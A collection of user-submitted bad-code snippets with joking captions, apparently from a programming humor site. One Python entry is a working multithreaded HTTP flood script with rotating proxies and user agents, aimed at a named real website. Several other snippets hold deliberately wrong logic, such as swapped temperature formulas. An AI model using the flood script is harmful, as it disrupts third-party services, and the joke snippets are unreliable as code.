public class SentCon3 {

	public static void main(String[] args) {
		Scanner scan = new Scanner(System.in);

		double input;
		char choice;
		System.out.println("**** Menu-Driven Temperature Converter*****");
		System.out.println("only lowwer case is vaild");
		System.out.print("Enter the value to beconverted==> ");
		input = scan.nextDouble();
		System.out.println("What is your choice?");
		System.out.println("a)Fahrenheit to Celsius");
		System.out.println("b)Celsius to Fahrenheit");
		System.out.println("c)Kelvin to Celsius");
		System.out.println("d)Celsius to Kelvin");
		System.out.println("e)Kelvin to Fahrenheit");
		System.out.println("f)Fahrenheit to Kelvin.");
		System.out.print("Please enter your choice ==>");
		choice = scan.next().charAt(0);

		while (choice == 'a') {
			System.out.println((input / 5) * 9 + 32);
			break;
		}
		while (choice == 'b') {
			System.out.println((input - 32) * 5 / 9);
			break;
		}
		while (choice == 'c') {
			System.out.println(input - 273.15);

			break;
		}
		while (choice == 'd') {
			System.out.println(input + 273.15);
			break;
		}
		while (choice == 'e') {
			System.out.println((input - 273.5) * 9 / 5 + 32);
			break;
		}
		while (choice == 'f') {
			System.out.println((input + 459.67) * 5 / 9);
			break;
		}

	}

}

use while as if!!!!

By person, 2020-10-13 03:01:18
function formatUpToANumberOfZeroesAfterFloatingPoint(number, numberOfZeroes, floatingPointSymbol) {
    numberOfZeroes = (numberOfZeroes === undefined || numberOfZeroes < 0) ? 2 : numberOfZeroes;
    floatingPointSymbol = floatingPointSymbol === undefined ? '.' : floatingPointSymbol;
    let numberSplitByFloatingPoint = number.toString().split(floatingPointSymbol);
    if (numberSplitByFloatingPoint.length !== 2) 
        return `${number}${floatingPointSymbol}${'0'.repeat(+numberOfZeroes)}`;
    
    let numberAfterFloatingPoint = numberSplitByFloatingPoint[1].toString();
    let formattedNumber = `${numberSplitByFloatingPoint[0]}`;
    let numberAfterFloatingPointLength = numberAfterFloatingPoint.toString().length;
    if (+numberOfZeroes > +numberAfterFloatingPointLength) 
        return `${formattedNumber}${floatingPointSymbol}${numberAfterFloatingPoint}${'0'.repeat(+numberOfZeroes - numberAfterFloatingPointLength)}`;
    
    let countOfNumbersAfterFloatingPoint = numberAfterFloatingPointLength;
    for (var i = numberAfterFloatingPointLength - 1; i >= 0; i--) {
        if (+(numberAfterFloatingPoint[i]) !== 0 || +countOfNumbersAfterFloatingPoint === +numberOfZeroes) {
            formattedNumber += `${floatingPointSymbol}${numberAfterFloatingPoint.substring(0, countOfNumbersAfterFloatingPoint)}`;
            break;
        }
        
        countOfNumbersAfterFloatingPoint--;
    }

    return formattedNumber;
}

Well, a junior dev here. A cute female QA came to me with a request - "the field for the price already has precision up to 4 decimal places, but we don't like the 4 ugly zeroes, so if the number ends in zeroes, let it have only 2" - she said in the most innocent-like tone ever known to mankind. How easy I mumbled and accepted the task. As she was leaving she added - "oo almost forgot, we also would like it if all the data fields for the price that are shown in the tables also are formatted that way". As I was watching her better side, while she was getting reunited with her QA tribe, I got shivers down the spine. I had a bad feeling about that one, but I wasn't sure why yet. Suddenly as I was getting up to get a cup of coffe, it dawned on me - "this poor excuse for a project is using jqGrid for displaying the data". To wrap things up - I got a quadruple espresso with a shot of Jacky, developers best friend in a time of need, and came up with this piece of art. Enjoy :)

By Kristopher Alexander, 2019-04-25 15:49:53
contracts = Contract.objects.filter(staff=staff).filter(active=True)
if contracts.__len__() > 0:
   ind = contracts.__len__() - 1
   dic[‘active_contract_id’] = contracts[ind].id
else:
   dic[‘active_contract_id’] = contracts[0].id

Get last object of queryset in django

By itsN0ll, 2018-01-29 11:35:27
public IsTrueWithNewTokenResponse isVoice(String token){
    IsTrueWithNewTokenResponse isTrue = isWhatever(token, 0)
    resultStatus.success = isTrue.generalResultResponse.success;
    resultStatus.statusCode = isTrue.generalResultResponse.statusCode;
    resultStatus.statusDescription  = isTrue.generalResultResponse.statusDescription;
    if(isTrue != null && isTrue.generalResultResponse != null && isTrue.generalResultResponse.success){
        isTrue.isTrue = !isTrue.isTrue
        return isTrue
    } else {
        return isTrue
    }
}
By Anonymous, 2017-12-18 09:11:43
Boolean b = new Boolean(true);
if (b == true){
    ...
}

think outside the autoboxing

By ktb, 2018-09-18 15:17:38
const errorHandler = () => {
  throw new Error();
};
By Anonymous, 2018-10-08 19:35:38
const handleBoolean = value => {
        switch (value) {
            case "true":
                return true;
            case true:
                return "true";
            case "false":
                return false;
            case false:
                return "false"
            default:
                return null;
        }
    }
By Anonymous, 2021-09-29 11:53:22
in_array($this->market, ["ru"])

There is an old mysterious legend, which says that those conditions are lightening fast which are using in_array($source, ["target"]) instead of just "==". Is says always that probably you never do code refactoring, and keep all shit alive

By Anonymous, 2018-03-12 14:47:24
def isBool(l):
    if l != True or l != False:
        return False
    return True
By mamadSiah, 2021-04-27 16:13:17
value unless value.select! { |v| v != "0" }.nil?

I don't not know no why not no one of my "predecessor" committed this shit.

By Penguin, 2018-08-09 04:37:29
using UnityEngine;
using UnityEngine.UI;
using UnityEngine.SceneManagement;

public class StoryOfMyLife : MonoBehaviour
{
    void OnDestory()
    {
        Debug.Log("  Directed by  ");
        Debug.Log("ROBERT B. WEIDE");
    }
}

For Unity developers only

By SanSanych, 2020-09-25 21:22:53
	public showOrHideLegends(seriesList: any[]) {
		if (seriesList.length === 0)
			return false;
		else
			return true;
	}

more code lines => more money; that's how our contractor company thinks

By Nitor, 2017-05-06 19:59:30
import httpx
import random
import threading
site = 'https://sheesh.rip/'
Proxfile = 'http.txt'
users = [
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 10.0; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 11.3; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (X11; Linux i686; rv:88.0) Gecko/20100101 Firefox/88.0',
'Mozilla/5.0 (iPhone; CPU iPhone OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/33.0 Mobile/15E148 Safari/605.1.15',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) FxiOS/7.5b3349 Mobile/14F89 Safari/603.2.4',
'Mozilla/5.0 (Android 11; Mobile; LG-M255; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:68.0) Gecko/68.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:88.0) Gecko/88.0 Firefox/88.0',
'Mozilla/5.0 (Android 11; Mobile; rv:87.0) Gecko/87.0 Firefox/87.0',
'Mozilla/5.0 (Android 11; Mobile; rv:85.0) Gecko/85.0 Firefox/85.0'
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4820.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 YaBrowser/21.11.4.727 Yowser/2.5 Safari/537.36',
'Mozilla/5.0 (X11; CrOS x86_64 14268.67.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.111 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 OPR/82.0.4227.50',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Edg/97.0.1072.62'
]
def main():
    Proxy = random.choice(list(open(Proxfile)))
    proxies = {'http://': 'http://'+Proxy}
    headers = {'Accept-Encoding': 'gzip, deflate, br', 'Accept-Language': 'en-US,en;q=0.5','user-agent':random.choice(users),'X-Requested-With': 'XMLHttpRequest'}
    with httpx.Client(http2=True, headers=headers,proxies=proxies,timeout=10.0) as client:
        while True:
            try:
                for y in range(50):
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
                    r = client.get(site)
            except:
                    pass


while 1:
    print('attacking', site)
    for i in range(50):
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()
        threading.Thread(target=main, daemon=True).start()

my eyes are bleeding

By @o_SKID, 2022-01-27 22:46:24
/// <summary> 
/// Desctop constructor
/// </summary>
...

This is best XML commentary I found so far.

By Anonymous, 2020-03-11 17:55:37
let foo = {} // object no. 1
let bar = {} // object no. 2

foo > bar // return false
foo < bar // return false, so maybe foo equals bar?
foo == bar // oh well, return false
// but
foo >= bar // return true, 'cause !(foo < bar) == true

return value is expected, but JS is funny

By Anonymous, 2021-03-12 21:08:32